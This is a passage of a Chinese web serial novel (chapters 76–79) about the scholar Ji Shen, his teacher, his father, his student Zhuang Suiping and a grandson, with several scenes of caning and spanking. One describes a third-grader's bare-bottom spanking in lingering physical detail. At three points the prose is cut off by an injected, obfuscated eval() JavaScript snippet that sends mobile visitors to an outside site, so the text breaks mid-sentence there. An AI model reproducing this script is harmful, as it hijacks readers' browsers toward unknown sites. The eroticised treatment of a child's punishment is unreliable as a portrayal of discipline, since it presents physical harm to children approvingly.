严先生语气始终很温和,但这话其实很重了,相当于说你不配当老师,纪慎大气也不敢出。 “小庄确实比不上冬冬聪明,也不像巍思,跟你有几年感情,可是他踏实认真,你说的话,他没有不听的,在这里一年多,花了十二分力气来当你的学生,你又出了几分力来做他的老师呢?” 这些话,纪慎是头一回听到。 在学院里,他好歹是系主任,年纪不小,能带硕士博士,别的老师都不会多嘴指点他的工作,学生更不可能来给他提建议,一来二去的,就渐渐变成这样了。 就以为,只有庄遂平不配当他的学生,却从没想过是自己不配当他的老师。 “老师,学生知错了。” “你虽然叫我一声老师,但说到底,与堂生巍思他们不同,我也不能真如何教训你,只是你今日当着我的面说知错了,我便盼着你是真的知道了,往后,莫要再过分苛责小庄了。” “是,老师,学生明白。” “他在这里与巍思住了些时日,你且等等,他们回来了,你领他回去吧。”严先生不由得叹声气,“冬冬受的是身上的伤,小庄受的是心里的伤,身上的伤容易好,心里的伤却不容易好。” “老师说的是。” “你也不要觉得在我这里受了几句教训有什么了不得的,左右没人知道,你听了,知道错就是,也不必太放在心上。” 纪慎哪里敢?感觉严先生语气稍有缓和,立刻赔笑道:“老师说的哪里话?老师愿意提点,学生高兴还来不及。”说着指了指架在旁边的竹鞭,“以前老师就是带着这根教鞭去上课的。” “是啊,都多少年了,坐吧,茶都凉了。” 纪慎这才缓缓坐下,端了茶来喝。 76.年轻纪慎挨打[番外] “啊!”随着一声尖叫,身穿深蓝衣裳的学生往前一撞,捂着屁股满眼泪花地望向老师,无声地恳求老师饶过自己。 严煦和手里竹鞭往边上一指,示意学生站旁边去,接着冲站在后面的男生道:“你过来。” 这间办公室是四个老师公用,一位男老师出去打水泡茶,见了这阵势,道:“又打纪慎啊!咱们纪公子多聪明多优秀啊,严先生您这天天打怎么成?” 刚满十八岁的纪慎红着脸站到严老师桌边,低低叫了一声:“老师。” “还知道我是老师呢,课堂上怎么都叫不住你!在教室里头吵起来多光荣啊,下了课还能到这儿来露脸,学院里谁还不认识你纪公子呢!” 大家都管纪慎叫纪公子,主要是因为他长得周正帅气,衣服总是穿得整齐精神,又爱出风头,说起话来很有气势,滔滔不绝,有一回把一个教唐诗的老师说得哑口无言,从此就在学院里出了名。 不过此时纪公子可不敢再耍嘴皮子,只是微微撅着上嘴唇,两手摩挲着裤子中缝,受了好大委屈的样子。 严煦和的竹鞭高高扬起来,“啪”一声抽在纪公子的屁股上,隔着裤子打出一道凹痕。 纪慎闷哼一声,往前栽去。 “挨打就要站好!” 纪慎看了老师一眼,又默默站直了。 “啪!”竹鞭兜风抽下来,纪慎疼得屁股一跳,差点就要捂着那两团肉逃开,但到底没敢。 好像到现在也没人在严老师竹鞭底下逃过,他可不想再出名一次。 就想这么一句话的当儿,竹鞭又抽了一道,屁股火辣辣地烧起来,纪慎不由得倒吸一口凉气。 “现在知道疼了?!吵架的时候呢?出风头的时候呢?说话不过脑子!做事情不考虑后果!”严老师面容严肃,语气又急又硬,说得纪慎往下压了压聪明的脑瓜子。 别的老师劝道:“严先生,不要动气嘛,纪公子心里有数的,他哪是不考虑后果,是太考虑后果了,就想着出风头呢!是吧纪公子?” 纪慎眼珠子一转,看看那老师,又看看严老师,不敢说话。 他在别的老师面前胆子是很大的,平时跟严老师也能聊上天,但是严老师打人的时候,他就哑巴了。 闭嘴挨打才是最正确的选择。 又一位老师道“别说,纪公子挨打的时候是乖,改天我上纪公子的课,严先生把教鞭借我,我也镇镇纪公子。” 严老师轻哼一声:“也就挨打的时候乖这两分钟,都多大个人了,还要人提着鞭子在屁股后面赶呢!我看我也别当老师了,改放牛去,反正都是提着鞭子抽屁股!” 几位老师在办公室里哈哈大笑,笑声中纪慎的脸愈发红了。 严老师本还要打,余光却看到童老师站在窗外,似乎在和别人说话。这些年动荡不安,少有安稳日子,严老师机敏地放下教鞭,嘴上训了两个学生几句,就让他们回去了,还叮嘱他们别到处乱跑。 两个学生鞠躬道别,垂着脑袋往外走。严老师一直看着他们的背影,瞧见纪慎在走到门口时明显愣了一下,随后迅速跑了。 难不成外头真有什么人? 严老师起身往外走,见到走廊上的人时不禁一愣,脱口而出:“纪先生怎么来了?” 和童老师一起的那位便是纪先生,年纪比严老师和童老师都大,是东部城市一所学校里很有名的学者,做文献研究的,严老师和他不算熟,但是认得。 童老师解释道:“纪先生过来有工作,顺便来我们这看看。” 那怎么看到这里来了呢?严老师内心狐疑,却没有说出口,只道:“欢迎。” 纪先生上前一步:“严先生有空的话,我们聊聊?” “好。” 童老师很识相,立马借口自己有事情要处理,先走一步。 严老师陪着纪先生走出学院,缓缓往人少的湖边走去。春天已完全到来,天地间一片青绿。 纪先生忽然道:“纪慎是我儿子。” 严老师愣了一下,脑子里只冒出一个念头:叫他纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970748|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子还真是叫对了。可之后,越来越多的疑问浮上心头,纪慎有一个如此厉害的父亲,那怎么还背井离乡来这里读书?纪慎怎么从来不提这件事?纪先生给他们通个气也不是难事,可是纪慎来了这么久他们也没收到消息…… 纪先生仿佛知道他在想什么,笑了笑:“他跟我不大亲近,不愿意留在我身边读书,只想远走高飞,我这次来也没有提前告诉他,否则他要摆脸色。” 严老师也是大家庭出身,知道所谓光鲜亮丽的大家族背后都有各种各样的问题,没有追问,只是陪着笑笑。 “纪慎在学校,大约没有丢我的脸吧?” 这回轮到严先生说话了:“纪先生说笑了,纪慎自小受您熏陶,功底扎实,思维缜密,在学习上很出色。” “他其实不大受我管教,平时有事也不跟我说,严先生你的学问和为人我是知道的,纪慎跟着你学习,我很放心,平时他有做得不对的,你尽管管教。” 严老师想,这是看见他打纪慎了。 “纪先生,我比您小十来岁,您也别叫我先生了,不介意的话,叫我煦和吧。” “好,煦和,”纪先生相当随和,完全看不出他的儿子是那样牙尖嘴利的一个人,“以后纪慎就麻烦你了。” “纪先生,我说实话,我不敢对您保证什么,现在的局势……” 后面的话,两人都明白了。 打仗打了许多年,他们都经历过在睡梦中被炮火惊醒的恐惧,谁敢随便说以后呢? “也是,就看他的造化吧。” “纪先生没有想过接他回去?” 纪先生摇了摇头:“他愿意怎么样就怎么样吧,我也就是这会惦记惦记他,要是天天见他,也只会怎么看怎么不顺眼。” 严老师笑笑,顺势换了个话题。 那时候对亲子关系颇不以为然的纪先生还没有想到,他对纪慎的态度并非他个人的原因,淡漠的父子关系如同纪家血缘里的诅咒,一代代传下去,让纪慎也成为了一个失败的父亲。 77.纪爹宠小庄 一个纪爹宠遂平的番外,时间大概在遂平博一,之前已经见过纪爹和老纪的儿子,跟老纪的关系稍有缓和,但还没有叫老师。 飞机缓缓降落,纪老先生孤身一人从机舱中出来,顺着人流往出口走。出口处挤满了各种接机的人,有招招手就大喊对方名字的,也有举着某某公司某某机关欢迎某某领导的牌子的,还有左右张望着怎么都看不见对方急得准备去找电话的,纪慎和纪沅站得稍远了些,中间隔着一段距离,似乎并不是一起来的。 “爷爷!”纪沅眼尖地看见老人,叫了一声就连忙过去扶着,“爷爷累不累?” 纪老先生一见孙子,立刻喜笑颜开,忙道不累,可才走了几步,见到纪慎便敛了笑,问:“你怎么也来了?” 纪慎原本两手插在裤兜里,见父亲到跟前,才将手抽出,站得更端正些:“左右无事,纪沅年轻轻,怕他处理不来。” 纪沅很不高兴听这种话,马上回嘴:“这是我们出版社的活动,单位领导还信得过我呢,也不用您操心我处不处理得了。” 纪老先生拍拍孙子的手,轻轻摇了摇头,让他不要在外面跟纪慎吵架。 勉勉强强消停了,一行人便上了出版社派来的车。车子稳稳当当地启动,往活动会场去了。 这两天的活动是一个出版社举办的,邀请了国内一些专做文献研究的学者来参会,纪老先生正在受邀之列。纪慎虽说与父亲不大亲密,但父亲千里迢迢来这一趟,他也不能毫无表示,于是早早联系了出版社,让他的学生们来当会务,一边帮忙一边学习。而他,也自然成为了参会的重要人员。 车还没到会场,前排的纪沅就扭头道:“爷爷,等会我就不陪您进去了,还得再去接个人。” “你忙你的,不用管我。”纪老先生道,又转头问纪慎,“你那个孩子呢?” “都多大了还孩子呢!”纪慎忍不住翻了个白眼。 纪老先生轻轻笑了一声:“要不是真当成孩子,你也不会眼巴巴地带回去,让他看中什么拿什么,这不就是哄孩子吗?” 纪慎一噎,不说话了,转头看向车窗外飞速倒退的风景,好一会儿才道:“在那儿等着呢!” 庄遂平虽然跟着大家来当会务了,但他已经长时间没有参加这样的集体活动,也无法顺畅地跟别人交流,看着盛超一杯杯倒茶,听着郑旭跟一位不认识的记者聊天,他只觉得窒息。一个人坐在椅子上,前后左右都是空位,根本没人管他。 但也许命中就跟他的师爷有缘,正在他受不了决定离开的时候,却看见了刚到门口的纪老先生。 庄遂平嘴角一抿,走了过去。 纪老先生慈祥地看着依旧木讷的学生,脸上带着笑,却没有说话。 庄遂平跟师爷对视了好一会儿,才低低出声:“您来了。” 没有称呼。纪老先生瞥了纪慎一眼,道:“嗯,来了,你老师太闷了,你陪师爷过去。” 纪慎嘴角一拉,话都没说,直接转身走了。庄遂平目睹了老师的离去,轻轻扶着师爷,道:“我送您去坐。” 主办单位为重要的学者安排了座位。纪老先生的位置在第一排左边,同排的人基本都没到,会场里也稍显冷清。 庄遂平送师爷到座位坐下,道:“我去给您倒茶。” “好,去吧。” 不过纪老先生坐在这里是不可能无聊的,庄遂平才走了一会儿,就有一堆年轻人朝他走来,还没到跟前呢,为首的年纪稍长的男人便笑道:“纪先生好,我叫郑旭,是纪慎纪老师的学生,老师说您来了,让我们来跟您打个招呼。” 紧接着另一个年轻许多的学生就把手里的白瓷杯送了过来:“师爷好,我叫盛超,也是纪老师的学生,近年研三了,正在写毕业论文,请您多多指教。” 另外几个学生也跟着叫纪先生好,师爷好。纪老先生点了点头,让他们坐。 学生们找了椅子围着纪老先生坐着一圈,盛超又把桌上的白瓷杯往师爷跟前推了推:“师爷,您喝茶,我刚泡的。” 纪老先生笑笑,轻轻打开杯上的盖子,丝丝缕缕的热气立刻飘了出来,青绿的茶水底下是还未完全展开的皱巴巴的茶叶。纪老先生看了看,又把盖子盖上了。 “哎!纪先生!”不远处传来一个女声,众人循声望去,只见一个四十多岁的女人激动地冲了过来,手里的袋子盒子几乎要飞起来。 郑旭色变,立刻起身要拦,那女人却飞速冲到了纪老先生跟前,喘着气道:“纪先生,我有好几年没见过您了,这次本来没空来,他们说您来,我就把别的事情推了,说什么也得来见您。这个,”女人把手里的东西放下,“这是我特地托人从香港买回来的点心,从前咱们去香港开会吃过的,您说好吃,我一直记着呢!” “好好好,”纪老先生笑得眼睛都眯起来,指着孩子们道,“这些都是纪慎的学生。”说着又冲学生们道,“这是吴老师,从前跟着我学习过一段时间,也算是你们老师的师妹。” 于是大家纷纷点头,叫吴老师好。 吴老师怕耽误人家叙天伦之乐,忙道:“纪先生,他们中午安排了餐厅用饭,咱们中午再好好聊。” “好,你去忙。” 这位吴老师跟学生们说了再见,便撂下两盒包装精美的点心走了。 纪老先生也不客气,拿着其中一盒递给孩子们,说:“你们分来吃了,这个是香港货,我们这买不到的,也不知道她怎么搞来的,你们都尝尝。” 盛超战战兢兢地接了,却不敢拆,看看诸位同门,最后还是郑旭拍了板:“那就谢谢师爷了,我们托师爷的福,也尝尝香港人的点心。” 纪老先生点点头:“你们吃,我年纪大了,吃不得这些,难为她还记得我当年爱吃这个。” 盛超和郑旭拆了包装,发现厚厚的长方形盒子里不到十块果仁酥,每人拿了一块,就只剩最后一块在里头躺着了。郑旭将盒子递给师爷:“师爷,还有一块,您也尝尝,吃一点不要紧的。” 纪老先生摆摆手:“我不吃,你们谁爱吃谁就吃,不要客气。” 香港来的果然不一样,果仁似乎炒过,格外香脆,一口下去,坚果的香气在嘴里四溢,吃完唇齿留香,叫人回味无穷。别说这里只剩一块了,就是还有一堆,这群孩子也能砸吧砸吧都吃了。 只是最后一块果仁酥变得格外扎眼,谁多吃都不是。推给博士师兄,师兄不好意思,转给郑旭,郑旭却真的没有那么沉迷于口腹之欲,递给师妹,师妹只是矜持地摆了摆手……一圈过后,这最后一块果仁酥被盛超拿了起来。 好巧不巧,庄遂平捧着一个白瓷杯就回来了,远远地看见师爷身边围了一堆人,跟前就放着茶杯,再低头看看自己手里的,总觉得多余。 可想走吧,还走不了,盛超咬下半块果仁酥便大声叫住了他:“庄师兄!” 庄遂平心中万般不愿,却只能硬着头皮上前去。盛超笑笑,道:“真是不好意思,刚刚分点心把庄师兄给忘了。” 这倒不是盛超的问题,实在是庄遂平长期不参与师门活动,很容易被人忽略。 见庄遂平不说话,盛超站起来道:“庄师兄,这位是老师的父亲,我们的师爷,纪先生,你也来打个招呼吧。” 纪老先生没有管别人,只是一直盯着捧着茶杯的小孩。 庄遂平一步步走过来,还离着好几步远,却不再靠近了。 “去泡茶,怎么去了这么久?”纪老先生温声开口,“师爷等你的茶,等得口渴了。” 盛超一怔,突然发现桌上那杯茶,师爷没有喝过一口。 庄遂平垂着头往前走了两步,把茶杯放在桌上:“没有红茶,我去找茶叶了。” 纪老先生笑笑,还是掀开盖子,看见橙红透亮的茶水,点了点头。 纪老先生一直喝红茶,那是庄遂平上回跟着纪慎去老先生家里才知道的。 见师爷没有喝,庄遂平补充道:“已经是第二泡了。” 纪老先生笑出了声,放下盖子,捧起茶杯,轻轻啜饮一口:“还是遂平最得我心!你那个老师,不及你万一!”夸完了又把小孩拉过来,将那盒完整的点心塞给他,“这是师爷留给你的,不给你老师。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982377|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄遂平还是那样淡淡的,接过点心也不说谢谢,但一旁的人都有些讪讪的。 中午是主办方安排的饭局,学者们可以带一两个学生或助手去。纪慎知道庄遂平不愿意出席这些场合,便让郑旭和盛超陪老先生去了。 这样的饭局向来意味着人脉和资源,能被带到饭桌上的都是老师们最青睐的学生。郑旭作为一个已经毕业了在其他高校工作的年轻老师,对这样的机会自然是求之不得,而对盛超这样优秀的学生来说,这无疑是一种莫大的肯定。 获得肯定的盛超在下午成为了师爷的小跟班,也成为了师爷和老师的传话筒,在下午的议程结束后附在师爷耳边道:“老师说,我们晚上陪您吃饭。” 纪老先生沉默片刻,问:“遂平呢?” 怎么又问庄遂平?盛超有点不高兴,但还是道:“一下午没见庄师兄了,可能没来。” “你去帮我找一找遂平,还有沅沅,就是纪沅。” 盛超只得应是。 但盛超也不可能一个人去找庄遂平,把师门的人都通知了个遍,就在大家都知道师爷要找庄遂平的时候,他从隔壁休息间出来了。 散了会,纪慎来接父亲,纪老先生却冲庄遂平招了招手:“晚上你们吃吧,遂平不喜欢这么多人一块吃饭,我们俩找沅沅吃去。” 大家一听,都愣了,都是老师的学生,怎么师爷这么偏心庄遂平? 纪慎有点为难,饭店订好了,学生也都通知了,这样难得的机会,就为了庄遂平没了,多少让人恼火。 可是那是他爹亲口说出来的话,他也不能当众把他爹绑到饭店去,再说了,庄遂平那臭小子现在就是那个德行,他还不敢真的做什么。 庄遂平很少在纪慎脸上看到这样精彩的表情,仿佛转身就能去跳湖。他有一瞬间的快意,却又很快涌起心酸,最后低声道:“要么,一起吃,也行。” 纪老先生拉着孩子的手,道:“你不高兴一块吃就不一块,没事。” 庄遂平看着师爷,轻轻道:“我可以的。” 于是,这个在告吹边缘的饭局就这样被庄遂平拉了回来。 纪沅晚了众人一步,“吭哧吭哧”地到饭店时大家已坐好了,不知道是谁如此不识相,竟然把纪慎和郑旭中间的位置留给了他。纪沅叫了一声爷爷,说:“我不要坐那里。” 眼看着纪慎脸都绿了,纪老先生立刻道:“那你坐遂平边上,大家往你们老师这挪挪。” 庄遂平坐在纪老先生左边,本也想起来,把位置让给纪沅,纪老先生却抓住他,道:“你别动,沅沅坐你旁边就行。” 纪沅对他这个爹没什么感情,跟他爹的学生却还处得来,郑旭、庄遂平与他都有来往,加上他是出版社的编辑,众人有不少出版方面的事情请教他,饭桌上很快热络起来,迅速遗忘了方才的插曲。 服务员一盘盘将菜端上来,照规矩,都是先转给老先生动筷。可是纪老先生又接着一转,把刚上桌的清蒸鱼转到庄遂平和纪沅面前:“遂平和沅沅先尝,那两块鱼腩最嫩,遂平和沅沅一人一块。” 纪沅是受惯了爷爷宠爱的,当即抓了筷子就夹鱼肚子上的肉吃,边吃边点头,一回头却见庄遂平讷讷的没有动筷,手肘一动,撞了撞他:“吃啊,你看他干什么?” 庄遂平的目光偷偷从纪慎脸上挪开,跟着夹了一小块鱼肉,便把菜转回去了。 每个菜都是如此,纪沅是亲孙子便也罢了,庄遂平倒是让一桌人都眼热了。 吃饱喝足,又是一番交流,既有如何找文献写论文的技巧,又有某某领导下海发财的八卦,气氛始终非常融洽。 饭后纪沅要送爷爷回去休息,纪慎给庄遂平使了个眼色,让他跟上:“还不快拿上你师爷的点心!” 庄遂平把点心抱在怀里,没有跟上去,又像委屈又像炫耀地说:“这是师爷给我的。” “你!”纪慎正要骂他,却猛地反应过来他说了什么,又把骂人的话憋回去了,“那你就抱着吧,回去了。” 庄遂平抱紧了点心盒子,一步步跟着纪慎回家了。 78.第 78 章 纪慎既然答应了严先生要把庄遂平领回去,就不会让他一个人回宿舍,而是忍着万分的不适将木头似的学生带回了家里。 “找个地方坐吧。” 在纪慎的客厅,确实要“找”个地方坐,几乎是四方封闭的书架,密密麻麻的书,严重挤压了正常的待客空间。庄遂平本就长期情绪低落,一进这屋子,一股恶心不由自主涌上,差点就吐了。 纪慎见他不动,以为他只是拘谨,径自走过去,将小沙发上的两本书叠起来,腾出一个空间:“坐这。” 不容置疑的语气,就跟庄遂平每次听到的“站过来”“裤子脱了”是一样的。庄遂平感到一团棉花堵在嗓子眼,呼吸不顺畅,脑子也憋得发懵。 但他还是坐了下来。 纪慎坐在他对面,轻笑一声,完全没了在严先生书房里战战兢兢的模样:“我还小瞧了你,以为你呆呆笨笨的,没想到还会找严先生。” 庄遂平眼皮一动,茫然地看向纪慎。纪慎放松地往沙发背上一靠,无所谓地说:“我答应了严先生要接你回来,也不会再要求你什么,你住在这里,不要出什么事就好。” 庄遂平鼻尖一酸,所有的忐忑都消失了,只剩无尽的心酸失落:“我可以回宿舍。” “庄遂平,你不明白吗?严先生是我的老师,我不想给他留下什么不好的印象。” 也就是说,没有严先生出面,他是不会主动带庄遂平回家的。 庄遂平一再抿唇,似乎是想说什么,但终究出不了口。纪慎顺手一指:“你就住那间屋,东西什么的,自己收拾过来,如果碰到你师母回来,打声招呼就行。” 庄遂平就这样被安排了下来,他没有拒绝的余地,也没有说不的勇气。 柏阅冬和秦昭阳报警之后,跟这件事有关系的人都被问了个底儿掉,包括姜新宇。姜家出了很大的力气去疏通关系、找律师、模糊说辞,到底是保下了家里的这个宝贝。但姜父还不算良心泯灭,过后觉得十分愧疚,兼之从前就与秦兆阳认识,便买了些补品和水果前去医院看望柏阅冬。 秦昭阳见到他出现在病房门口时吓了一跳,不知该哭还是该笑,憔悴的双眸疲惫地闪了闪:“你怎么来了?” 姜父提着补品和水果进来,放在床头:“我来看看你们。” 柏阅冬一头雾水,不知道这回来的是谁,一直眼睛眨啊眨,等着师父介绍。 但是秦昭阳始终没说这是谁。 还是姜父先尴尬地笑笑,问:“伤还没好吗?” 秦昭阳无奈地拉拉嘴角,黑眼圈更加明显了:“老哭,伤口不好愈合。”秦昭阳推了个木凳子过来,“你坐会吧。” 姜父坐下,却更不知该说什么好了,指指床头的东西:“我给他带了些吃的,补补身体。” “他不差这些。” “我的一点心意。” 柏阅冬听了一会,越听越奇怪,这个人又不认识他,怎么会提补品来给他补身体?而且总觉得那些话语中带着某种歉意。柏阅冬脑袋往右边偏了偏,明目张胆地打量起这个人来,确定自己确实没见过,但五官的轮廓又有点熟悉…… 秦昭阳低头一哂:“如果真的有心,就不是现在这样了。” “昭阳,我们出去谈谈吧。” 秦昭阳眼神示意了柏阅冬,随后跟姜父出去了。 “昭阳,你们文人的那些什么风骨我不懂,我直说了,要道歉要赔偿我们家都能给,但是我不能把新宇送进去,他的人生不能有污点。” 秦昭阳疲倦地合上双眼,再睁开,只觉得天旋地转:“你的宝贝儿子连污点都不能有,可是阅冬他已经永远失去了一只眼睛。” “我知道,你心疼自己的学生,可说到底,只是学生而已,你以后会有更多学生,就算这个比较优秀,也没有必要搭上自己一辈子。” 是啊,只是学生而已,可是这是他最最心爱的学生啊!秦昭阳睁了睁眼睛,又僵硬地笑起来,可泪水还是迅速堆积。 姜父拍了拍他的肩膀:“这些日子你也累了,等他出 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柏阅冬哭得眼睛疼:“他是不是以为买点东西来就可以了?是不是有钱有关系就可以买我一只眼睛?这是对我的侮辱!侮辱!” 秦昭阳蹲在地上,偷偷捂住眼睛,这些天,安慰开解的话他不知道讲了多少,可是小孩的情绪永远稳定不下来,有时候半天过去都没哭,秦昭阳就要不住庆幸。每当柏阅冬情绪激动或崩溃,他也觉得天塌了。 “其实我知道,报警这么久没有动静,就是没结果了。我也知道,就算姜新宇如何,我的眼睛也回不来了。可是师父,我就要一辈子变成一个瞎子,一个残疾人,别人可能在背后对我指指点点,却根本不知道是谁把我害成这样。师父,我不要这样,我想要天理昭昭……” 柏阅冬哭得差点背过气去,也没注意到师父在他看不见的地方抹了眼角,只在泪眼朦胧中看见师父将果篮放在桌上,随后坐下,拍着他的背安慰他。 “你相信师父,师父不会让你一辈子就这样的。” 79.苗苗挨打[番外] “苗苗?今天怎么来这么早?还背着书包呢,没回家?”满头银丝的奶奶边说着边帮乖孙子摘了书包。庄禾风扁着嘴,糯糯地叫了一声奶奶。 纪慎戴着老花镜看报纸,听到孙子来了,探半个头出来,老花镜松松地挂在鼻梁上:“苗苗,来,到爷爷这儿来。” 庄禾风乖乖地往客厅走,耷拉个脑袋坐在爷爷身旁。 纪慎一瞅不对劲,马上收了报纸,问:“咱们苗苗是怎么不高兴了?学校里头有人欺负你了?” 庄禾风看了一眼爷爷,立马闪开了,照旧垂着脑袋:“我不敢回家。” “你爸又发什么疯?” 庄禾风一下下抠着指甲,既委屈又害怕:“他上次说我数学再考不到八十分就要打我。” 自从上了小学,庄禾风的数学就很差,长期在班级里倒数,老师找了好几次家长,庄遂平也给他找过课外补习,可庄苗苗的天赋摆在那里,一点办法也没有,及格一次是幸运,及格两次那绝对是庄家和纪家的祖坟都冒青烟了,要求他考到八十分,还不如直接把他塞回娘胎里重造。 纪慎是不怎么管孩子学习的,反正有爷爷在,准保孙子饿不死,只要小孩健健康康品行端正就行了,故而听到这话,也十分生气:“你爸抽风,咱不理他。来,爷爷开电视给你看,现在是不是要播动画片儿了?” 庄禾风今天可不敢看动画片,撅着嘴,向下拉着眼角,快要哭了:“可是我害怕爸爸要打我,我很想考八十分。” “不会的,等会跟爷爷奶奶一块吃饭,吃完饭爷爷再送你回去。” “可是……” “又可是什么?” 庄禾风拉着爷爷的衬衣下摆,憋着眼泪说:“可是我考试的时候作弊了。” “啥?”纪慎一下蹙起了眉头,这孩子八九岁的,咋能跟作弊扯上联系呢? “还被老师抓住了。” “老师说,要给家长打电话。” “爸爸肯定知道了哇!”庄禾风仰天长啸,“呜呜呜”地哭了出来。 纪慎被他这几句话堵得喘不上气,一句比一句劲爆,怪不得不敢回家呢!可是别的事也就算了,考试作弊,这就是不诚实,是品行问题!纪慎也绝无可能轻饶的。 “你别哭,不许哭!” 庄禾风吓得打了个嗝,立马不敢流眼泪了。 “站起来!” 奶奶在厨房做饭,进进出出的听了个大概,劝道:“苗苗不懂事,你好好教,别吓唬他。当年就把他爸吓坏了,可不能再把苗苗吓坏了。” 奶奶向来只动嘴皮子,根本救不了人,庄禾风抽噎一下,起身站在爷爷面前。 “我问你,你怎么作弊的?” 庄禾风向外翻着嘴皮子,眼睛湿漉漉的:“我在课桌底下翻书。” “知不知道作弊不对?” “我知道。” “那你还作弊?” “呜呜呜……”庄禾风没忍住,又哭了起来,“我害怕嘛,我考不好,爸爸每次都打屁股,屁股痛痛,上学都痛,我不要上学了呜呜呜……” 人老了就是心软,纪慎听小孩一哭,哪里还冷得下脸?立马把人抱进怀里哄:“苗苗不哭,你爸爸是想要你好好学习,打你也是为你好。” “可是很痛,”庄禾风的眼泪“唰唰”往下淌,“青青也考不好,为什么柏叔叔都不打她?我不要上学了,也不要回家了,我不要爸爸了呜呜呜……” 纪慎一边替孩子擦眼泪一边顺着他的话说:“好,咱们不上学了,也不回家了,就在爷爷这里住,以后再也没有爸爸了。” 庄禾风不搭理爷爷,就一个劲哭,纪慎全由着他,嘴里不停说:“不上学好,以后在家天天看动画片,青青去学校你还能在家玩,以后不识字也不用工作,多舒服是不是?咱们苗苗最喜欢这样了。” 庄禾风越听越不对劲,慢慢哭得不那么厉害了,还听爷爷道:“对了,爷爷去给你爸爸打个电话,说你以后都不回去了,让他们自个儿再生一个小孩,你坐着啊,爷爷去打电话。”纪慎说着还真把小孩往一边放。 庄禾风慌了,却又不能说他要回家,只得死死抓着爷爷的衣服,“哇哇哇”地哭。 “你别扯我呀,你扯着我,我怎么给你爸爸打电话?” 庄禾风哭得更厉害了。 纪慎瞅着他,知道他回过味来了,不说话也不动作,就等着他哭完。 过了几分钟,庄禾风终于不哭了,只挂着满脸的泪珠抽抽噎噎。纪慎这才道:“想清楚没有?” 庄禾风摇了摇头。 纪慎捧着孩子的小脸,替他擦了眼泪,道:“爸爸希望你考八十分是为着你好,如果你考不到,你可以诚实地跟爸爸说,如果爸爸非要打你,你觉得伤心委屈,那你可以跟妈妈说,跟爷爷说,怎么能为了不挨打就作弊呢?” 庄禾风狠狠地吸了一下鼻子:“我、我知道作弊是不对的,但是,但是我真的很害怕。” “那是考不到八十分可怕还是作弊被抓住可怕?” 庄禾风嘴一扁,差点就要哭:“都可怕。” 纪慎一边同孩子讲道理,一边在心里将庄遂平骂了个狗血淋头,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14995691|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这么教育孩子呢?都把孩子吓得去做坏事了!可是他也知道,教孩子最忌讳立场不一,再说了,作弊这种事,落谁手里都是错。 “今天爷爷跟你讲,你能学多少是多少,只要是你老老实实考出来的,不及格爷爷都高兴,但是你作弊了,多少分都不是你的,甚至你这个人,品质都不好了。” 庄禾风虽然才读三年级,但已经听明白了这句话,泪汪汪的眼睛眨了眨,淌下一道眼泪来:“爷爷,我知道错了。” 纪慎抱起孩子,顺手在腿上打横,巴掌往两瓣小屁股上一放:“知道错了就要受罚,你在爷爷这,爷爷知道了就要打,往后你乖乖的,不许再做这样的事,不然爷爷就不爱你了。” 庄禾风心里七上八下的,挨打可怕,爷爷不爱他了更可怕,顿时又“呜呜呜”起来,哭着说:“不要,爷爷,我不敢了,我再也不作弊了。” 纪慎扯了他蓝色的校服裤,说:“打二十下。” 二十下巴掌,对这个年龄的孩子和这种性质的错误来说,绝对是大放水,可庄禾风还是吓哭了。 庄禾风长这么大了,还是一天一大杯牛奶,全身上下白乎乎的,屁股上的两团肉就跟奶皮子似的,又滑又嫩,纪慎轻轻拍了拍,肉团跟着一晃一晃的,他都舍不得打。 但是到了这时候,舍不得也得舍得,纪慎咬咬牙,抬起手来,用了六七分力,“啪”地抽了下去。 庄禾风当即尖叫,吓得奶奶锅碗瓢盆都不管了,“哐啷哐啷”跑出来:“哎哟!你怎么打苗苗?有什么你让他爸爸打去,在我这里,我见不得苗苗挨打!” 纪慎挥挥手:“你别管,这小孩再不教训,都要上天了!”说着“啪啪啪”连续几下巴掌抽去,打得庄禾风“呜呜哇哇”地哭。 庄禾风的小屁股从奶皮子变成了草莓雪糕,均匀的粉色,还是嫩嫩的。 奶奶看不下去,又说不过纪慎,一跺脚,扭头做饭去了。 纪慎继续一下下挥着大巴掌,结结实实地抽在小孩两团肉上,屁股太小了,哪一边都逃不过爷爷的教训,庄禾风不敢乱动,只是哭着喊疼。 幸而二十巴掌也不多,庄禾风哭得正厉害的时候就停了,吵得纪慎头疼。 “都没打疼你,你哭什么呀?” 庄禾风抱着爷爷,眼泪“哗啦啦”流:“要是爸爸还要打我怎么办?爷爷救我!” “好好好,爷爷救你,不哭不哭,等吃了饭爷爷送你回去,不给他打你。”纪慎心疼地拍了拍小孩的背,“苗苗不哭了,脸都哭红了。” 